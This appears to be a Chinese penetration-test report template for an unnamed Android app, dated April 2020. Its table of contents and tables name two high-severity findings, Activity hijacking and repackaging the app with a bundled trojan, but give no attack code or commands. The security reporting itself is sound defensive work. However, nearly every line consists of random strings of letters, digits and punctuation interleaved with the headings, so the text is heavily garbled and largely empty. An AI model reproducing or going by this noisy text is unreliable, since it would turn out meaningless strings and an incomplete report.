5 n5 q4 U! F* D6 @
5 S- y+ t) p: S4 l$ H
2 n+ h: Y, h! A5 [9 F0 B8 v
9 }) z& K" i+ Q, I
4 q- o3 ]0 x2 W2 C) ~0 ?: r7 x# g' A e; g( t8 H3 x1 l
( |# m" X& G' `9 z2 P% K" r. G
0 x7 N7 P$ }8 X! R& }" L
- u. B j/ b" P% i" q0 z6 ~/ U5 Q
+ | O, K" h6 T5 G9 g3 N. v & E% D, q- f. }- p' `0 D
) M+ c I$ {3 T* e2 J7 e8 o- Z
文档编号: $ m( N) x' k% i' @7 E3 p- e5 w, N
+ z0 T& U1 e/ l7 |. F
! @- Z5 [ ?# S; X$ A7 v) T, l% _4 e9 e. q, k. C
' M$ a2 `5 e5 Y: c
/ g/ C: o! Q+ \) f' N( s1 E+ J
9 ]- J& C) ~5 q w" m
3 x' @' A. M' a- D# }( j- Z
0 O; V$ |' ^8 {+ i3 w
& x3 a# n8 x7 |/ Y z
2 i9 k) ]( [5 p7 B. O4 s. t. a+ G% u8 a0 ?# [
; t* n6 D: z5 q/ Y1 Z) {
5 H* e7 |% W& ]/ O) r. E
# q% S' W7 N9 z8 D( c; I1 _
7 |5 X G/ O+ Z/ L* ?: [# u
3 Q; D, k% b& X+ \
: k6 O/ H6 v9 R F: t/ j
* F1 V0 [; x. q" j% _
6 P+ i& Z" F+ ]4 l
. h* n }6 C* \; g
/ D* B, u p3 u8 m, B* T q& n- {2 c5 ]9 S: v
) n/ [9 V! \2 S8 P
% V4 f& P! a- l1 W( S/ @* V
- x5 k3 v( ^4 o8 p
+ w# Z# {& }# R/ {5 p5 I; }: D
. R, j& a; C9 y! Q/ Q
3 a) d# Z, E0 j/ Z1 ?$ L; F
P9 z: \3 G; M, D2 V) m, X& F
5 Z# A2 f% U. w( e7 j# Y
; B I) m1 H2 x) I
: R1 _1 |. z1 }
) F: g/ @1 g c0 F J4 v# L
) e) ]- ?' {/ t7 {3 {! Z# e# p9 P0 B# h0 V
某某某APP渗透测试 $ ]7 [+ b1 ~6 J8 A
( J e, t( q" w* d! `
2 \0 t* @. G! T% i. t0 Y
+ W4 Q5 z% f9 U* E
! `( E/ l; w* i" C$ @* y, Z
4 M, W% e0 |1 S8 R& P# u8 W$ s/ W
& Q& Y' K2 }1 C7 `$ D$ X: J9 l- _) R7 o4 }5 t# i5 m
+ q# F2 `! ]0 U% q# B
( q1 G l. m' }+ a; F2 j% q" f7 ]. w2 Z . S" g, w; Z+ u4 L7 |6 A
# ?+ r0 b3 W+ k+ C8 D6 O; o4 T
: z. U9 J1 h# ]# P0 n
c7 I% e6 i5 F
" _9 p: R6 g3 o8 I
( K. G5 {0 @9 y 1 `4 h8 Y4 ]; [
. P+ {: O+ B9 b% Z " U' ?+ Q+ V8 k% L4 n
. W. t6 F' a( ?2 L
8 c& ?) a0 W4 @6 t0 B, O4 y- E
- P; \- Z9 n0 A! L- L0 ]
; y, Q% M, `4 R# A
0 s' Z4 a% }0 f) C- |
0 ~2 e# h4 D8 |2 e8 @8 l% W7 l5 S4 T& _
5 x4 h0 a1 L6 u
! o( L: Y t' |& D& ^# k5 O
2 c# |0 c+ A! c) z
% m3 {7 |9 P' {; C2 W1 o 技 术 报 告 : M! y2 A E3 f w3 i/ v
; }) T0 ?# S1 V) s# p) t
4 L m% Y. t. {+ L8 ~# E7 F: n4 i; Y: v
' d9 p. O1 q# Y. s2 e: @. v
- L) b( c* p" x
6 J- M; G% W: a" r 5 Y$ K# i) i# ]' [
. F3 z% a: M, C3 V7 R
$ G, u) B( f( S* d3 d, C
8 J! t: Z- g S8 ~$ k* `- K
# F( h( }1 `4 Q# E7 v& z* N
$ \; q$ ]& a f4 U2 p! H' F
, W f8 m" i, k8 W* D4 O# a/ [; k. |# G9 I7 m6 `
5 v1 ^) s. O/ G- E, d, @4 j' M
6 b- V, M: X; i/ v( {/ e % ~' u7 Y, Y- b# z& m
4 }0 U& }. `+ Z+ K) c0 h% U
8 S9 r0 x7 v# o: b& K9 E$ D6 `+ k6 q+ p4 Q/ v6 V) K
/ y n; \( a6 s+ J0 o' A4 P. z
8 B/ z6 I) `) V* Q
# S5 [- k: ]2 d6 N
$ F# G M/ U* W+ U* j 7 ?4 `4 q* }: y, z: t/ y" v/ H
2 f0 o2 B, Y# T. G/ O
. R2 N+ k& j6 o$ M" P
4 l. m0 b5 L3 w1 P7 q3 }( W
; g5 R' v2 H# S& h1 Z: S
6 L! f0 j* T! O2 n8 I8 o9 {
( [3 N% \' Y2 J
5 |) |: p& ?8 A( P- a
3 g1 ~$ z: {2 Q7 X+ S! P9 v' g
' V8 U2 z5 Z# q8 j# F3 @* u7 W3 r 3 S: I3 a2 L0 R& v1 Y
* P* V- q/ w1 l* q2 P- m 6 a5 ^6 r6 ?. J9 b" k; u
! _- q0 B9 d J0 \
- `7 R7 [. K" Y0 X. G- f
2 `: m4 E8 z' e: \/ P
' v9 @; z6 q& s: u% V: y% `3 F3 t
# h9 D, c5 b$ w$ q4 {# X " h/ x" V, v$ }+ q7 n, T/ X- E
& ]' ~4 l5 b" L f \7 a
6 k6 C; h* u% E: C" X+ |/ u; y5 n2 K; B' `
0 p& i' r' h [0 W
/ ]! v0 @6 g+ x& R& x ) m; {; B e, y
6 K0 j6 J& J1 ^0 P
! b g( Z; ~0 p( @) G, b8 \/ @0 y6 G0 a" u6 ?9 I( S0 C
2 b3 ~8 O- d! X* b# e# ^, o2 Z' ~
$ V4 N, t& i. W( |2 d" z
) M( }! e% n' | M4 X- E" l
0 [4 Y4 t- ^; w9 ^4 i
( h8 Q- C9 ~( u R F9 i: a
1 G: ]" B" y8 b9 _
3 K. K. U, ?8 w) |% U3 m$ ^
, O! g& T& m/ N X3 o$ P" d
) t) G' h# l( M# [- g& V; j
9 D. _' d' L" [% s+ ?
6 R: S+ ~8 h# p4 q9 E+ a& {
& j& c% O( h7 [
$ p4 y. n0 P/ ~+ G1 D+ k8 W/ E9 U% Q
$ E2 w3 |' O- O0 ^
3 g) I* _1 V; X! e
' b* o+ y2 R; X* d5 D, P
/ L4 U/ p* n% h* Q K( q: g: G3 ^% Z2 R) B3 H+ N- F
* [) g/ M% H+ [* B( V! e+ R
( l8 I7 u: a' A! M2 S8 z 5 ? n& }9 u) P1 m( |2 _0 T. d0 x7 g
. p* X2 V. d0 Q3 I% r/ ^; R
9 ~0 h1 R: [( O* g) ?
6 _7 }2 R+ w# g% `# ]4 k $ M. I6 k% ?' _' {' S* G* u' U% Z
5 }* ~! n! k7 x2 [% q" b; G
# { v+ E1 A8 V/ [: g8 o9 [
( [) G- x! {( @* c5 D
6 U( V7 j J2 ?* Q9 _, X# j6 r5 @ ` K B) g, W4 u+ o9 Z% q7 |
6 b$ i1 `2 v6 u8 O9 x/ m6 {# D+ k& v
/ E: p- @! [( ^9 t% T
* U( `1 j0 F7 ]* ^$ w! D, [7 _
) s4 B7 S' x9 R: m6 C
o% ?% f8 D5 d( d' t0 N J
5 s$ B- k! [7 g
[- W( r+ i& l, ^+ F7 @' Z& ^9 W2 ?3 B7 T" b
3 E7 I. Z. D( y( v* R. y& ]8 v e) w
' L) v$ C5 P" x4 o8 _! P& a# w1 G
1 a; a( s ^ R4 X. T8 J
" |0 s1 R3 E. {$ C9 o: M
( l1 k$ Y* f, M) H8 k9 w+ t' v1 F6 A
1 s2 Y1 j: T+ c1 m6 V n# y( l, U3 b: u- x q
1 j$ @2 e5 l1 q4 W: {! f9 ^2 s! ^! d7 k# y6 ?% Q# B
& q3 D0 I" {2 E& e" n' p
6 a/ q4 k3 R; k7 q2 _
4 F5 F& B/ _) S8 L8 f" P
/ f0 C2 @- E# _' m9 X 8 b9 w( ?1 f* {0 N8 S K
+ w% a6 K' c: F# m* L S" S5 e L
' {6 L, Y, F8 Y" q, g- p( v1 X
) O, H& d- i9 R4 e6 g* o. N9 M
* W& o- F" m1 s. Q" J$ E0 @
% _4 d& B& X K# J$ E9 u
8 c8 v2 @ w3 P4 d' q$ R" m
; w! y) g) h4 C k' x 二〇二〇年
- k, g6 a r* ]4 \: p6 [ p, t+ q$ z5 Q: @. h
3 h+ K+ _( i5 H
) }7 x/ g. s0 r* F! _3 I 6 ~/ W1 U- T) n) Q# _, \* c' n f
; b! T" P6 e T/ f: J: e1 Q
" C7 A2 J: U8 g
, ?3 R7 X1 D! A w ( Q7 o# m; ~7 {* Y
; k7 z' n, z# V* C. Q* x6 q0 Q
* j6 F0 b. S/ @ U$ i
# s. r4 U3 u9 ?9 [2 V0 [
3 @1 ^1 \. J7 O! @' X
& w3 z7 R$ }0 ]( {" C
- @$ {: j8 i3 ~9 }3 @7 q: r: e# a0 x: t0 e% f
3 ?0 D9 j' F/ W: c, y" ^" c' k5 Q
$ e1 b& ~$ _8 } _
4 a7 e: v; {6 q1 j
- R1 H# j# S$ P, L3 s* t
! S( O( {+ B- O# Q$ Z2 k f5 Z5 \
目 录 % ?$ Y) g( J5 x3 ]. p: K
$ F) m/ t- H7 o/ V
. l( d, {& E8 b0 @0 _4 M0 b
8 {' `7 X* R8 |9 H0 u3 M
' U& h% v* D7 M" i, }0 R9 A, U9 e2 N' Q; d8 b
|+ @8 \' N1 {1 ]' w' s( o1 L, v% N0 [3 z- E- V I
$ z6 G; |2 ~9 I0 }' I$ W1 i# l; F5 H+ a+ z
0 Q+ c# z. Y% a) v# x
1 g! Z- A# |' F ( E- K' H4 N7 ~8 e; y/ [: D- G
/ s& n' r+ l% p5 ?" [
1 概述... 3 8 j( }3 c# w; l8 T7 B
1 J$ o% M- z8 d5 t% S) G) r" Q( H
% `* R8 H$ b- x" n$ @- I+ e
" B# E6 f( b$ D) e. }5 N
! J8 z' H' n* q7 o7 C+ N- P
9 K' T3 K k6 w, E 1.2测试时间... 3 % Q9 W" q6 z! F
1 x% a& k) W$ a; f8 ~- N ~
9 c* m' q$ C! r7 C. o
9 S" P! M) u1 X 3 H' c) V: S6 q& ]
4 j6 U! Q* e3 e$ G
1.3测试对象... 3
; T2 b$ ^. E3 C9 }) _8 M: ]; h7 R& I/ P3 n6 O J B* A
; \- W% y6 Q; l% l
6 D" X1 s& u) X3 O4 N6 n ' w; `8 w, ]2 Y P; L% t+ B+ x
0 _- A& G+ j1 l( \+ D3 D0 _! I
1.4测试结果... 3
9 S: I/ J" \) Y. q* z+ g
) O' I: [5 o) S7 Y; ?
- |/ t0 g6 L) P+ g- D, V3 C# `4 L3 q% R" @
8 y3 y p I* j7 a& p
) u! G; P! x8 l) t) I0 V9 n- g) a
2 检测结果... 4 + h9 d6 H) _4 Q. e
& ^' u- j# e/ p/ p' h
! S2 I7 k8 k& X5 M+ i5 g N' H. O( X2 |6 l* w+ \
* V* {; z u% `. S$ m' |" o! d- \) r# F5 @$ O
2.1 某某某... 4 ) y+ C0 y2 h& k+ G: N7 q
' r" M k, x; D- E5 u3 D3 r, a+ p
6 ~9 R j @# b
. g9 ]# ], S$ y' w9 a, l n) U' I ; Z2 k9 v( F' \- x
5 ?# E+ E0 B+ ]9 k& u
2.1.1检测目标... 4
- W! ~. |0 B/ e, f: ~
: U; U1 F6 C; }) t
`$ g( j4 a% r) i, ~
9 m! B- h1 e7 _& l% v% e
0 C5 b8 l: | V) m! i
0 |. g2 O4 R1 r) p. N 2.1.2检测结果... 4
/ E- V# N. ^+ u. [1 W, a; y5 g; l$ ~. M! v% [9 y1 E
& K, j! E% K( A1 m2 {8 P( T& o; X1 A
+ I1 ~0 |; n+ E* F, d7 P
$ c/ R- I, D, P: ?; I) H# Q' r2 b- U" F
2.1.2.1. 4
8 F. `. V% H+ R
9 G0 ~2 e6 m5 H* A
; c0 [) Y5 `% d
0 f3 V9 A6 G" x& D4 D' D. k5 Q
" z b# \1 |' q) I! B1 m3 J, ~% S0 ]+ s# l4 J0 u
2.1.2.2. 6
d$ }2 [2 L; _
& l8 c" M3 }9 Z/ X( V
2 b3 e; h0 _5 K6 q, g! g+ {/ K
# E) ~. U; v/ O* T1 q4 ^$ `6 s0 q % @8 }3 m6 q) C0 \7 J/ p
6 R/ e+ U! u. b
" a- ~6 K) C6 Q1 X+ K; X" u
- [$ e0 D: E( g' a9 ]& r& s
6 B8 ^% U4 O% X' i9 _
& D! W# @( z) ~4 Z: C8 Z
5 ~9 P5 f1 ?% T5 T6 `8 }; A! Y3 F; T1 i2 D% R6 }2 {
9 ~0 y b) G, l5 L/ K
! o \% `2 X/ ^2 W5 \
. l7 H4 s; d+ F
& K7 q% z( ?3 O! e9 K ) I3 g, z' e* _) `' `
: j* B$ o, ]( [! O9 c8 B
* a7 a" k6 s; a# X3 |) Y. e! o, P6 f
S, d# F: L% t6 B" D" ^+ Y) M 1 概述
; a4 p* v& b* w4 ?& S y0 U& N3 e6 T$ Q
, S* `/ e5 F: f" d$ N
* l) Z' G: P. h 2 y- G; ?6 l- [( {& P& a9 Y4 F
7 r0 O4 u; p9 P1 m& r1 w7 Q: F 1.2测试时间 % Y" ~* P" D2 f r
5 X m! ?6 m+ f% x! t) y
r2 G3 b9 j0 D7 m8 v
+ n$ K @) ^- ?+ s; p$ p2 u/ ]
/ |" U# U/ B" l& T
' Z' J% T" M, L( K2 h g p+ j2 c9 F% z v% m, X! V7 G4 L
}1 @3 [( f' H' o
M s3 S: T b$ q5 f0 j% P& d. e: G$ Z8 x4 c
| , D/ X5 M6 J7 b8 C
( v, Z8 a8 c5 w3 f5 @& [' t3 q
: g) n! y+ k. a! t
W i# L4 ?- J( u
渗透测试时间 3 e( z$ ?1 R, |% o3 L
2 p' h6 Z1 f& r. n6 H9 `- d8 [5 U
0 D" Z" C% L( W9 A& n0 ^* `. j% o3 F
|
4 R2 `$ V' L& G3 A8 e; _2 `- e. E& ?7 |6 E% `- f+ C$ |0 Y
3 w. I2 h" x. P
$ b# r/ R2 C* u# f - |" }4 c( v6 I+ }6 U, x ~$ N
w! c6 |; J7 y. @* W9 q* ]) ` |
; v. g, b8 }. u3 W5 y2 L$ M9 J+ ]
8 g, i! r7 o0 i6 t 3 d5 q+ p& [' e8 D2 q! y
" S" v9 ~/ ]4 ]/ u
起始时间
& m @) i+ z+ ` b0 ~9 Z$ M' I
, B& n# e, P5 S) f" O$ X 5 S) T0 [8 v* @5 Y5 F7 M: E. N
7 N* U: g7 m8 K! t% A* o" i& c
| % }1 V& S5 s: S2 ]$ S# T
3 Y: H" G9 L: [3 ]+ _% J) @* ~
# {( P$ W2 b8 _( ~
* }; W- Y/ E4 [- q6 @ , d% v1 m# X) h% G+ f
# |' R8 W* R5 u( r9 j
2020年4月6日 . Y6 K" E/ |6 P, T9 `/ {1 [
2 [* e3 @6 d! T
0 k5 Z* j: c! j- n. r. L/ d- L. j5 E3 ?6 v
| + D8 T! X+ v$ I, b' D* Y
/ T! s. K) s: U* r# K0 Z) N
: U- [3 X3 n+ G3 B
% U& f6 V8 O% M# c: U. y
6 _* t: E4 _# F1 f9 l
" s' g& g! Q; O |
6 z l; j6 U3 ~# D! M. E: n% r% P5 S7 R1 y+ c7 y( h1 w2 c* v
$ O5 Y) p c. o; b) ~& S$ \' c$ u; E" O0 K$ G% b( x# |( e* B
结束时间 x* ~7 T' k6 }7 b
& m* p0 [& I- T% C U Y: _4 t
+ h w% ?# ?3 H# ?# E) ~! t* Z: [ N8 N
| + z! S% C4 V G( C* o7 f% }
. t- }$ O" J7 X1 X
7 B' g. E2 I$ S
) o. e6 h) ^+ \# R 7 N" F9 T' p5 L
. I7 V- ^/ L9 k }3 f0 e( U 2020年4月9日 / O0 v- o% s: a, d
8 f3 X3 |1 G- ^: v8 h$ Q) W7 \- \
* i% v8 U9 w1 `3 o% k1 a" x: R; g- p
|
Y& {/ @' k' L# `* ^; i; v a7 I
7 ~- }2 [$ o9 g+ w8 \
O6 I) o0 C9 X' l! f5 j1 n
4 \2 O5 {; I% \9 D2 x P! W: d8 j, Q$ p% a1 f8 t
! [% k$ A) B$ ^# h' @+ Y3 ~$ l+ \% R$ P) |0 h1 B
, s' X4 R& d) ?9 O/ z# a! G
Q X. W2 ?; c( _* z% m7 M9 ` 1.3测试对象
: ~3 i' j, }' d, T! O; @: g7 J7 W/ Q) c3 l9 P% ~
' B* M; x! G) ?2 w- ]) D8 ^
/ i. d# W8 `$ c7 d! f, b( I7 l1 G/ P ( G- R, R! Y# ]2 Z+ O' v1 ]" j: E
4 _) F$ I- H# J( t 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ' `) `; E( y) X. {) w1 ~
* f6 `( M0 g/ K) w# S& y: ^8 h* p
& P; O) M6 ?$ e; S# W- \
) t9 @7 L" P+ e9 x/ Q
/ Q" a# D2 d0 ~
4 P2 B) d. A" w9 I# o 表1-1 检测对象 " P ?2 n( ~' ]5 Y2 a
1 ?9 u) z$ q. P+ }: W4 ?
/ q8 l1 G4 v( J# z- c8 m" p- A+ x7 y! J2 d0 K, g6 {" c5 g
+ L; I" T Z' R* G
' q7 \( s" i/ ^0 }+ j5 c0 e1 a
1 N/ b; e) f/ a. _) K# [; ?3 K, ^ c
$ J: K! k$ f8 y( i
8 @. m6 F2 G, F% s
| & |+ G# V( d4 Z5 t4 c, M3 P
4 O4 f5 ~- i# k; y. W
( @% q! N2 @0 o, R# ]6 F- y3 x8 l9 W, w ?
序号 0 l, x' A& E) ]- X! j% b3 h
5 C @4 m. [. [6 W* O; x8 v, y
5 j* a# `" k+ v
9 [' p1 [+ ?7 U* J9 { |
3 c$ b7 {" b3 s: n* v
0 B: g7 L; G1 r
; L; A. m- ]2 \$ O7 V9 f; n- v, ^6 h {5 T5 N9 j
- E9 t1 i9 V, O# D
5 K, c: A2 r- l" ?2 F* `2 n 测试对象 3 @, v3 a5 @6 x& z
5 U* T0 a0 `1 d4 p: [% z : x1 e' i5 r- q) R
! A; [$ v; N6 a& o n | * g& Z4 y7 a8 z5 V
. h4 u3 N' u$ Z$ t
0 V3 W* q# C' ^2 z
8 K" U, _, }6 K( ]- b' ~6 t # t. Q& v* F- B3 B
$ b0 g# O1 U; h. ^! G1 P 测试地址
6 G, q( D, G) n* ?6 W% j' I$ F: B6 B+ ]" m, W& L+ H" R1 K' k. Q6 x
5 O1 l+ Q& R1 J6 I/ g- o- x0 i9 I' f) W5 u
| 3 O# f. {' F) H6 t5 ^
% M0 s0 ^/ P# z, ~ M
0 H+ Q1 v7 g1 O
0 X) U, u" Z& T" N7 Z$ C
, ~( k9 [+ @3 a. h) O7 `
) j- d6 L8 u# l3 w; _2 ^3 D% j; U; R 安全漏洞 3 t, H! `0 F$ H3 q5 p- A
( T( z% f8 }4 J/ J3 N6 R
5 Y& P8 k) S1 _
. `! b5 t( _ d, s. N2 a8 d |
' h& ]7 |' J) G* U
# u( V# t$ r: K2 O- \6 Z
' h0 _. J$ I" P D3 x( w
1 @" r5 \5 O6 [& m$ l L0 {
3 @3 e# {, W! v* u6 ?* a/ j, A+ O
q$ G6 c+ T7 ]6 o4 |8 r |
! ]# C5 p5 L8 M* |/ _; i
: o6 G0 r/ }2 _& R: e( A3 g" E6 i7 X . n, u6 M# Y, @9 _0 \$ w
|3 d C5 {& c- }( }# L 1
/ N( f9 H* r4 t7 _/ M8 `. ]/ c! O$ P, Y; Y8 c; S9 S; b
+ o; E3 F u: y/ l2 L1 W7 H
' h5 |+ P. R2 y) D |
3 ^7 a/ a4 ?1 Y3 _" O
" r! J% d* l0 r q4 d
2 h7 ?: I9 s# z9 K7 p$ G+ x% _0 v& g0 z, \' m; ^; b
" H c) S, e" m4 ?1 V- \- @
# b) O5 n5 Y! B: R6 B, ~ 某某某安卓APP
8 P1 l _) B- A/ r; E& R1 F; E% X6 f0 y0 ?% r8 W
. |' z# c; W+ R/ z5 ]: Q4 k
- x, S& r F6 I/ e
|
& O" o! q5 G# L2 H( G7 B' V) |4 l. C6 z
; f5 a2 n3 g- U8 V2 F
h! K7 v4 G! S; n2 V
3 q& z5 g6 M; L! |
$ }& f i, {, W4 F0 _2 ` 3 |4 x: o% n: J( k
]- \! N' d U7 A+ q
! J5 i5 `7 x" ?( J; m7 b. n# m+ l$ x* W
| ; p; [2 G' G# b' R
# r, Y! O8 P9 \7 H
* \8 `( n0 ^2 u" D2 n2 a
2 x" C6 v: x; E& P% f7 [4 O! y
: W* e$ v7 ^2 U. E6 V
- N) K; @# P; B9 L' @( ~ 2 9 F; j& ?( D, a
$ p/ o6 \" p8 H
% t! v# d# @! j$ e/ Z
( b1 @3 Q7 o" N L, z | ' A, q+ r5 I7 E: M/ q, @* R7 X1 V
, x2 O( ^7 S9 s- l" x B* ^% z
8 l2 M u' {( \( X
. o- } o/ W0 G! V
9 I$ M$ E7 i! C# E$ L4 c/ D6 ?' R+ W: E! {8 r$ ?
$ I4 {5 D5 z8 b6 O8 ]7 P6 F: {# ~! W; e
; C, s& {$ E# Y/ k/ w
* }* o. S X4 V7 }% B" q
1.4测试结果 7 c( F& w, G! n+ T. X! \
( h) A% o! z7 u2 ~$ H, _2 p
3 V1 X; A" U a1 R2 G& ^
" d' t# H2 r; `( G- B1 ]
" Q8 W ^: \/ u; l) s& r8 V
: `+ h- n: b1 B5 L 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: $ ]( X3 J& x( |: E
/ `) H! y7 {* Y G9 }$ F2 e/ k! h
% l! I; f" p5 h$ p4 E1 F( N B+ e0 p
0 ]! C( I5 O: U9 D; s
3 |$ h4 n; Q( r. [5 A6 P 5 Q6 A# Y$ _$ v" k4 Z
! T- \0 z; R6 ?9 R
+ T6 M! D7 A' y. b4 U' b& b) n( V
: B# N' @2 y4 w + O4 j4 m0 d, e( t
8 d* ?- _* }+ Y/ T/ G . A0 P8 C! w6 V" z6 m, b
6 G( c0 v. e( G3 @8 @2 k) ] " W6 z, y L& F8 Q A0 z/ a
0 i: Y6 { a* w+ a# k) w4 Z+ F
5 l* m1 z) v! ]
" n4 c/ h) s9 V- y
| 2 ^7 d S6 p( T: E$ a
6 _2 S D6 O3 v" R c$ N" n r
- ]; M$ P" b5 g* m/ T; a
4 M8 \3 E0 Q! a6 ^) O; z5 y3 N, |# j 序号 4 u% p% J, k' E# j9 s7 a1 l4 e
% } H' P, H/ Z
) T9 q- ]- Y6 S' D1 I5 J2 ^+ o: ?3 ^0 `7 I
| ) G' Z* v) N8 X- S" t
I5 F8 W( I, ~2 V
+ }/ J- n8 C* R
* d; c. \& t5 g: E& \4 H+ D6 z ; e7 f# T: B. @0 t; I- [, J# x
. k( d' q+ J: h$ j: ~ 系统名称
* ~( v! h( R1 p. v* d0 ^; o; e b5 o$ t1 v/ I4 @8 j9 \
% Y- W+ ` Z+ I$ M8 {! B5 ?9 `3 t# R
|
; Y" E! S9 A. l( _; n+ Q( m" i( v) B& B- F
& B" a& x* B# v7 d; G7 P( w& x- i- a, {
3 Z8 ]- Y+ C" x! q* s8 a
8 v1 r% N3 j8 i- g 漏洞名称
8 G2 W: O* K7 S) }/ k, m" |" d+ e% `3 Y
# e8 X# ?0 [0 m% C( B( P" \
% e: r* c" F. F0 A% S6 r |
4 Y3 u5 t( V) K8 s3 F% d
8 _0 ]3 H$ B% \7 l
' B6 g' P! f4 _) x M7 g$ u
% y, x( y8 C# B! O# e 9 r; A! i, ?1 k
4 e+ \2 M0 c& r; B* R D; g 漏洞危害
3 F7 C2 H$ h# K( R2 n6 m3 l. c
! _& D5 L, `0 c+ }& G% `4 C. o* E 9 P7 N5 h' N$ G u7 f! h7 r) L
; v7 T5 K$ J, ^4 x' _# [3 Q/ e
|
( a. W- M, p9 ?. E1 h6 a# L7 S; H/ O- |, G) ]- `5 [ [
+ W* Z* g1 [0 F& o+ G8 M3 ]. Y: h W
6 J( ?. l. g; I0 r9 v9 v
3 J6 e3 F7 @) w [4 S1 l
6 F: ^* c! ]" O0 T r! @ 修复结果
' M' g& R5 b1 V1 w& {; p' E3 R6 r" i
' Y$ ~3 c* F2 ?) p( ~5 X
( }: d5 q9 f. b) z |
; F& ]$ W& D: S) }8 b$ r8 u
- R; ^0 j* x$ j% j& ^
5 X0 [6 N* K$ O2 e; T# R- s6 L9 N, ~& D) @+ e! f5 ^! H
* d+ [ o7 n5 a% h1 ?1 q
# j/ @5 o8 R0 H* A* b3 l/ S |
! ?; P2 N5 M4 j
9 g! A! O, p0 R5 Z. z: W
2 X8 z0 i& s; a' @
5 ?6 p5 R$ c$ t# F5 X 1 # w, ~. f4 |1 x; }# d
2 b, g* S @1 P% A! N
7 E' t2 R; k0 X
1 c# N) c6 b- g/ M! X2 ~5 s | # q1 S+ G: f( t$ l/ }
! q t' r' v3 R; }$ j/ X5 j
8 `* N% l5 y: K7 g2 G y0 _( G" W& J6 W% q# U4 [& U& r
9 ]1 B& j1 Q" o; a% W4 Y
6 N: T0 K: m0 m. E: L 某某某某某某APP 3 Z9 Q/ A0 Y$ F
6 U8 J' { D; s. w- ~
4 [; U- k1 q, r: D# r; Z0 j" Y
|
2 j7 Z! U" U% W7 l7 X$ Y6 v; Y
2 y" z) ~3 I9 D
& A: B3 m5 D* E5 h
2 }! D$ U4 g. p5 n9 j6 a p: [) ] 5 b* `9 \$ @' q% i2 L& E8 n1 k
1 R) r/ _! ]+ w! O1 X
Activity 劫持 " X/ ?9 ?) B. f+ f2 F4 A6 s \
% a2 k0 o4 N- s: v; S
' ^9 _7 Y9 `# u+ x; Q1 J. A. a6 g. E2 s, K
! v5 T8 V Q5 n, W( ?' Q9 D
) U8 k/ i; g, I% m x) K2 a& ^ / B$ [ a. ?8 B+ S0 ~1 D0 t' M
. s. l0 I: y9 ^ 7 v8 @4 m" t9 t% v/ X& {7 K
4 ~4 @3 K5 ^2 }" _; B |
* W) p' @! R6 o- d3 F5 Q4 Y4 C# ]) ]) f# N8 b- o
5 G+ o+ f8 t* q5 P. _
3 d4 r# [0 t* e% G" O! U/ r' e7 Y
# f: Y+ [5 b [6 ?- @, H
7 J- k) I( _$ C! [! \1 N6 C 高 s R1 V5 K/ j d$ E
" u; ]& o$ q7 Z3 Z: L5 K- W+ f % N- ~; S7 Z) G( b5 ?* O# _
4 ~# t# n+ T8 ?/ o" q4 R$ G6 c
| 7 c1 ]; s m) Q5 K" S. G
9 ~' i2 p9 m5 P' G- N6 z: B& F6 A
" ]7 B* g# G% v1 Z7 A) y& L5 M1 C* `+ Y: V6 C }7 f
2 q% K. u" D. w+ F$ M
, c$ g% o2 W$ Q x2 `3 [
9 I( N: {4 k: f: |+ @2 M5 Y: i) A0 }: b9 S9 |$ _
; A; d( h$ v' h
8 @$ j: h! D6 O; n: a
|
+ d. d0 U: ]$ }" M/ g
- J4 [! N3 k. ?' _, r
- H0 Z+ p; m4 ]# P* [- `( I: \! H) x6 k# G7 ], {
9 ^% A: ~1 L( y2 v; _1 [, y
) U' D1 R3 L$ l/ J* o |
' ]# |2 q4 k1 H& g6 ?2 c# z: }* @( q0 g/ t k
; M, N# E$ W/ u1 U0 }
6 d$ N4 p" `" Z5 e7 I) Y: a8 q 2 0 P% e- g4 C6 O5 E
+ U/ l) ]6 k: V- u$ e- N' i$ R5 ~
; Y1 c. g8 f/ l& ?* y' f3 x
. l/ ^ v7 `# H7 Q9 X |
0 l8 ]& g2 ?& z, c* X4 {2 X }
; `! }4 g3 \" e/ e4 [6 [/ T& i+ N $ \- o, G8 h3 R- o+ v
( M0 r, v6 X" s6 Z ( P% _' K; P+ I- h
8 x3 T* ^9 f; d 某某某某某某APP
1 W. ^! G+ i# J1 ^% U% I b7 w/ q' ~, U* _
. E2 g9 y2 a) K% e) {
* m1 q9 o' _; }/ g) B5 G |
1 V4 h# [% X+ a5 t4 i1 k- A% E% J1 q# P
9 p; K7 @1 g2 K% O) Q
& R2 r; b l) W: f0 \ / g, a5 I$ U1 d) @( H' h7 w
* \& m; V& |& w/ @) i' K" u
反编译二次打包捆绑木马、篡改APP代码
, U# t5 I0 p, a) X
$ C) W+ ^3 N/ V% u& g6 w
! K. g# l: j B8 n& s& ]! a. ~% n/ s, a
|
; M1 C2 V- @+ B; V- Z' |" X0 @, T
, _+ m9 l) c! d' n
* Y! P `7 N0 R9 ~4 f
- T8 j. |1 X/ B1 M! L
. Z6 G5 p8 C: Y" U0 E6 T4 x% n( \/ A1 U" z5 ]
高 . ^; I& N& V. p5 j- \2 b. d: E
2 P# ~* x- m# T/ H* u * L* O; ~5 G* O% Z# J
0 d2 ^, M8 l& ~" {5 n |
% m' G6 `! m0 w; \5 o, _% {. g! M) z( B7 k. ?3 v4 X
: T0 f# J4 c: h
+ w$ Q$ [ o/ v- A( G4 [
; V2 Y, J0 u/ f1 a" M1 h
8 O. t4 C3 d O7 B
+ b$ @7 F, m$ h* Y0 r( D5 B8 K3 d9 H
e* p( }; \& S& A r
1 t' p" a1 W5 |3 ^) |% s |
/ W7 s6 Y+ q* Z4 r3 ~- \( e! n- `7 g; {. x: u0 n9 X; i2 r# w
; \7 C1 t( P5 U: g
, s. b* a# w) q % B! ?# k- n; } B, u5 k
( b$ n4 q/ ^5 a( n5 Y! h
2 V `3 X& E% Z4 [
- R+ ], R# S1 |4 f4 }! K8 c$ B ; V H' n, H- \8 t, a) C
; W: G% j' H$ n) Q; ^
( U2 b) g7 N- D- P0 _( T3 y. R% Z) z: K0 s% D* |* P! d
5 \3 \) n4 F- {5 S, O3 b7 p0 |) t# D$ I9 f7 A
* t& U$ h. @, l; H( G& r/ @ c5 ^5 i. ~* O' f V, Z
2 k1 a. I% p# n& Y
" Z2 A- b7 j; J9 W7 ^/ k0 @ 表1-2 测试结果 % h& e, ]" ^( ~9 N( a; V
* o- L- r# I% j+ r c9 T
0 u4 K6 ^0 ~, t2 [
# z0 P5 H G) u, V5 i9 {
& O! Y' M; V: t9 o: n5 Z, X
* z: k# K" a' r! B: M. M
6 o; \: K9 \$ X5 _- p
